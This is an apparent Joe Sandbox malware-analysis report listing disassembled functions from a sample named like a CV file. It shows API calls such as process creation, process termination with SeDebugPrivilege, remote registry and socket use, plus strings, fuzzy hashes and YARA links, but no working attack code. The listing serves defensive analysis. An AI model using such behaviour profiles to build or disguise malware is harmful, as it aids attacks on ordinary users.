Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 47c83a6eae2f2baf6b4c2c204b6cd9058397529d027cb40b6e7cd0f38c24176b
Instruction ID: 1c0a8fb260a2eb58c0ad8f28f0a62812e94776de84c8dd4f1427e88c75e2ce8a
Opcode Fuzzy Hash: 47c83a6eae2f2baf6b4c2c204b6cd9058397529d027cb40b6e7cd0f38c24176b
Instruction Fuzzy Hash: 984161B2901205BFEB129F90DC85FBB77ACFF09354F004126FA16AA251D770D9448BA4

Function 003DB644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0041DC00), ref: 003DB715
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0041DC00), ref: 003DB749
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 003DB8C1
SysFreeString.OLEAUT32(?), ref: 003DB8EB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 51d55297ab63a73ecaf61d1c57d77869c0af4fca9388997628b2eaf3cc5a74a4
Instruction ID: 4fe353f30b67685d0c6471491d44daea25d611f211a39778600b1ead8050e3e3
Opcode Fuzzy Hash: 51d55297ab63a73ecaf61d1c57d77869c0af4fca9388997628b2eaf3cc5a74a4
Instruction Fuzzy Hash: 1BF14C76A00209EFCF05DF94D884EAEB7B9FF49315F128499F905AB250DB31AE45CB90

Function 003E24D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003E24F5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 003E2688
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 003E26AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003E26EC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003E270E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 003E286F
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 003E28A1
CloseHandle.KERNEL32(?), ref: 003E28D0
CloseHandle.KERNEL32(?), ref: 003E2947

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 6d50ee59557e5af814f5cfb162dfbece8934fbd300164065d2e2abebebc7088d
Instruction ID: 421c10b639f38ac001fa51cfaa0a243b8d908d82ad4c1b302738e55cc142916a
Opcode Fuzzy Hash: 6d50ee59557e5af814f5cfb162dfbece8934fbd300164065d2e2abebebc7088d
Instruction Fuzzy Hash: 12D1AF316043509FCB16EF25C891B6ABBE9AF85310F19865DF8999F2E2DB30DC44CB52

Function 003EB33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 003EB3F4

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: ddc184c94e8b469e955512c10551e487b64e2caf99b985bc0914e1d7741fdb3c
Instruction ID: 14773df560b6ad39b548d87dd3e8fd53d051b947e129bcc6ee282bfdebd28459
Opcode Fuzzy Hash: ddc184c94e8b469e955512c10551e487b64e2caf99b985bc0914e1d7741fdb3c
Instruction Fuzzy Hash: 3B51D7345012A4BFEF239F67CC86BAFBB68AB05314F244211F654EA5E1C771E940CB50

Function 0039A699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 003FDB1B
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 003FDB3C
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 003FDB51
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 003FDB6E
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 003FDB95
DestroyIcon.USER32(00000000,?,?,?,?,?,?,0039A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 003FDBA0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 003FDBBD
DestroyIcon.USER32(00000000,?,?,?,?,?,?,0039A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 003FDBC8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 59a02547af0e8a2540a327a7ccc765c64fdc276c516f139e30a9287a16205482
Instruction ID: 2c2be495fa4fdd6f1b2ee4d7785c1d1af8f3b5acb670a6309bc79f4fb8591639
Opcode Fuzzy Hash: 59a02547af0e8a2540a327a7ccc765c64fdc276c516f139e30a9287a16205482
Instruction Fuzzy Hash: 0C518F70600609EFDF22DFA4CC86FAA77B9EB18750F110628F9469B690D770ED90DB94

Function 003C7555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003C5FA6,?), ref: 003C6ED8

Part of subcall function 003C6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003C5FA6,?), ref: 003C6EF1

Part of subcall function 003C72CB: GetFileAttributesW.KERNEL32(?,003C6019), ref: 003C72CC

lstrcmpiW.KERNEL32(?,?), ref: 003C75CA
_wcscmp.LIBCMT ref: 003C75E2
MoveFileW.KERNEL32(?,?), ref: 003C75FB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 6348c5f7e98e5bd9d99b8eb279aa6c30c77b17296f22bb6d8e082d538a96bdf5
Instruction ID: fd749324165d443caf94369db3c02e0fc433e79742abf7b2af55927a5747307f
Opcode Fuzzy Hash: 6348c5f7e98e5bd9d99b8eb279aa6c30c77b17296f22bb6d8e082d538a96bdf5
Instruction Fuzzy Hash: D65153B2A092195ADF56EB94D841EDD73BC9F09320F0040AEFA05E7041EA749BC9CF64

Function 0039EA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,003FDAD1,00000004,00000000,00000000), ref: 0039EAEB
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,003FDAD1,00000004,00000000,00000000), ref: 0039EB32
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,003FDAD1,00000004,00000000,00000000), ref: 003FDC86
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,003FDAD1,00000004,00000000,00000000), ref: 003FDCF2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: ff021ebc309a0347851054dc475189df669dcf314287e3d93fad545bdb33d787
Instruction ID: 11f265c2481e87dc32e38115c8b0109be1b72b2e2234907d9f370492d12d82dc
Opcode Fuzzy Hash: ff021ebc309a0347851054dc475189df669dcf314287e3d93fad545bdb33d787
Instruction Fuzzy Hash: 6A411A7161D280DBDF37CB288D8DB3A7A9ABB41302F1B081DF14796965C671B880C315

Function 003BB263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,003BAEF1,00000B00,?,?), ref: 003BB26C
HeapAlloc.KERNEL32(00000000,?,003BAEF1,00000B00,?,?), ref: 003BB273
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,003BAEF1,00000B00,?,?), ref: 003BB288
GetCurrentProcess.KERNEL32(?,00000000,?,003BAEF1,00000B00,?,?), ref: 003BB290
DuplicateHandle.KERNEL32(00000000,?,003BAEF1,00000B00,?,?), ref: 003BB293
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,003BAEF1,00000B00,?,?), ref: 003BB2A3
GetCurrentProcess.KERNEL32(003BAEF1,00000000,?,003BAEF1,00000B00,?,?), ref: 003BB2AB
DuplicateHandle.KERNEL32(00000000,?,003BAEF1,00000B00,?,?), ref: 003BB2AE
CreateThread.KERNEL32(00000000,00000000,003BB2D4,00000000,00000000,00000000), ref: 003BB2C8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: fd15fa8aeeab65505bbf4e9f31326ab57b96c5f4a39abd00872ddb06820b3c34
Instruction ID: 320dace33e69770c3f7c1890a216d542952d92cc4d80ef89c12c607882e9d76d
Opcode Fuzzy Hash: fd15fa8aeeab65505bbf4e9f31326ab57b96c5f4a39abd00872ddb06820b3c34
Instruction Fuzzy Hash: 8701BBB5640304BFE710ABA5DD49F6B7BACEB88711F018421FA05EB1A1CA749C04CB65

Function 003DC43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 003DC49E
NULL Pointer assignment, xrefs: 003DC876, 003DC887

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: e8d8803a9b79615668aa4dc4f0c610406f5a925a982cc721cc8995c3736ec947
Instruction ID: 22c9c812a7a0a11a989399004beb19f596b31571e033c9fd9d9b87bf6c33d06c
Opcode Fuzzy Hash: e8d8803a9b79615668aa4dc4f0c610406f5a925a982cc721cc8995c3736ec947
Instruction Fuzzy Hash: 06E1A472A2021A9FDF16DFA4E881BAE77B5EF48314F15502AE905AB381D770ED41CB90

Function 003D16DA Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

Part of subcall function 0039C6F4: _wcscpy.LIBCMT ref: 0039C717

_wcstok.LIBCMT ref: 003D184E
_wcscpy.LIBCMT ref: 003D18DD
_memset.LIBCMT ref: 003D1910

Strings

p2Cl2C, xrefs: 003D1920
X, xrefs: 003D1948

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X$p2Cl2C
API String ID: 774024439-3256438142
Opcode ID: cfb826c1d9aa496098f73802562c2d9d9143a37b427655fae22a253adec6f679
Instruction ID: 36030878e110ea7166b5aae9a18499eb311880158185feb33cd3cb45cba88c1f
Opcode Fuzzy Hash: cfb826c1d9aa496098f73802562c2d9d9143a37b427655fae22a253adec6f679
Instruction Fuzzy Hash: 2DC19E316043409FC726FF24D991A5AB7E4BF85350F00496EF89A9B3A2DB70EC04CB82

Function 003E9A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 003E9B19
SendMessageW.USER32(?,00001036,00000000,?), ref: 003E9B2D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 003E9B47
_wcscat.LIBCMT ref: 003E9BA2
SendMessageW.USER32(?,00001057,00000000,?), ref: 003E9BB9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 003E9BE7

Strings

SysListView32, xrefs: 003E9AEB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: e8e59e914aeff0e24e5c7dc1ec44e4cbc0c06aa3e7c4d398e19c05b489384c07
Instruction ID: 1c0e88c478795dedad3606f16332283c94d7e272c2a71b396189c9ad2eba92ff
Opcode Fuzzy Hash: e8e59e914aeff0e24e5c7dc1ec44e4cbc0c06aa3e7c4d398e19c05b489384c07
Instruction Fuzzy Hash: 5241E170900358AFDB229FA4CC85FEE77A8EF08350F11092AF545A72D1D7719D84CB64

Function 003E172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 003C6532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 003C6554
Part of subcall function 003C6532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 003C6564
Part of subcall function 003C6532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 003C65F9

OpenProcess.KERNEL32(00000001,00000000,?), ref: 003E179A
GetLastError.KERNEL32 ref: 003E17AD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 003E17D9
TerminateProcess.KERNEL32(00000000,00000000), ref: 003E1855
GetLastError.KERNEL32(00000000), ref: 003E1860
CloseHandle.KERNEL32(00000000), ref: 003E1895

Strings

SeDebugPrivilege, xrefs: 003E17B8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: bd3aa6ad854528d38664c8ce6ba81aff591851d1d0dd723241c7677fd12699f7
Instruction ID: 56dbbf1d40907292cf64f93f9d273a5532ee55ed7d2720a649ec037f990dda5b
Opcode Fuzzy Hash: bd3aa6ad854528d38664c8ce6ba81aff591851d1d0dd723241c7677fd12699f7
Instruction Fuzzy Hash: 2F41BF75600210AFDB06EF94C8A5FAEB7A5AF44710F05805CF9069F3D2DBB4A9048F51

Function 003C5819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 003C58B8

Strings

warning, xrefs: 003C58A1
stop, xrefs: 003C5889
question, xrefs: 003C5871
blank, xrefs: 003C583A
info, xrefs: 003C5859

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: d2e0aeb9f5f22a9e6439e1eab73e93111b30d369edda588dc7ab0109868c07f2
Instruction ID: 1c7144356dfa7dcc68199a451a1b31bad299fd55192a40ff6f9570402ca06783
Opcode Fuzzy Hash: d2e0aeb9f5f22a9e6439e1eab73e93111b30d369edda588dc7ab0109868c07f2
Instruction Fuzzy Hash: 9511D836709B42BEE7165A549C82F6A339CDF29720F20003EF510F6281E764BE804768

Function 003CA729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 003CA806

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 332b97f14b09141ee7969cdd67973bf5d24ed0115cb6fed7732ddc99a9eb9722
Instruction ID: 0be06bcdf865d2ac3f9ca38732a76dc864713de7182453252c0b2ea102b601eb
Opcode Fuzzy Hash: 332b97f14b09141ee7969cdd67973bf5d24ed0115cb6fed7732ddc99a9eb9722
Instruction Fuzzy Hash: DDC16B75A0461A9FDB02CF98D585BAEBBF4FF08319F20406EE606EB251D734AD41CB91

Function 003C6B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 003C6B63
LoadStringW.USER32(00000000), ref: 003C6B6A
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 003C6B80
LoadStringW.USER32(00000000), ref: 003C6B87
_wprintf.LIBCMT ref: 003C6BAD
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003C6BCB

Strings

%s (%d) : ==> %s: %s %s, xrefs: 003C6BA8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 068a78d5f62f97d1eef208651743ca3f89f125df21e09afbec46791eeb39da40
Instruction ID: 3a3571c89290d16e09e3fa6b3d087bdf8f52e8cf310e37601c283472f66f277c
Opcode Fuzzy Hash: 068a78d5f62f97d1eef208651743ca3f89f125df21e09afbec46791eeb39da40
Instruction Fuzzy Hash: 5801E6F69002187FE711ABD49D89FFB776CD708305F0045A5B745E6041EA749E888F75

Function 003E2B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003E2BB5,?,?), ref: 003E3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003E2BF6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper
String ID:
API String ID: 2595220575-0
Opcode ID: 1def700ce837698ee835c2027d2538b3446df4569047c31c9a78e0354126e325
Instruction ID: ed75853d539402254688d1c4a44d6e0270297fd9d04f3d16ce1df140e4eae334
Opcode Fuzzy Hash: 1def700ce837698ee835c2027d2538b3446df4569047c31c9a78e0354126e325
Instruction Fuzzy Hash: 87918A316042019FCB02EF55C891B6FB7E9FF88314F04895DF99A9B2A1DB70E905CB42

Function 003D961C Relevance: 12.2, APIs: 8, Instructions: 220networkCOMMON

Download Yara Rule

APIs

select.WSOCK32 ref: 003D9691
WSAGetLastError.WSOCK32(00000000), ref: 003D969E
__WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 003D96C8
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 003D96E9
WSAGetLastError.WSOCK32(00000000), ref: 003D96F8
inet_ntoa.WSOCK32(?), ref: 003D9765
htons.WSOCK32(?,?,?,00000000,?), ref: 003D97AA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

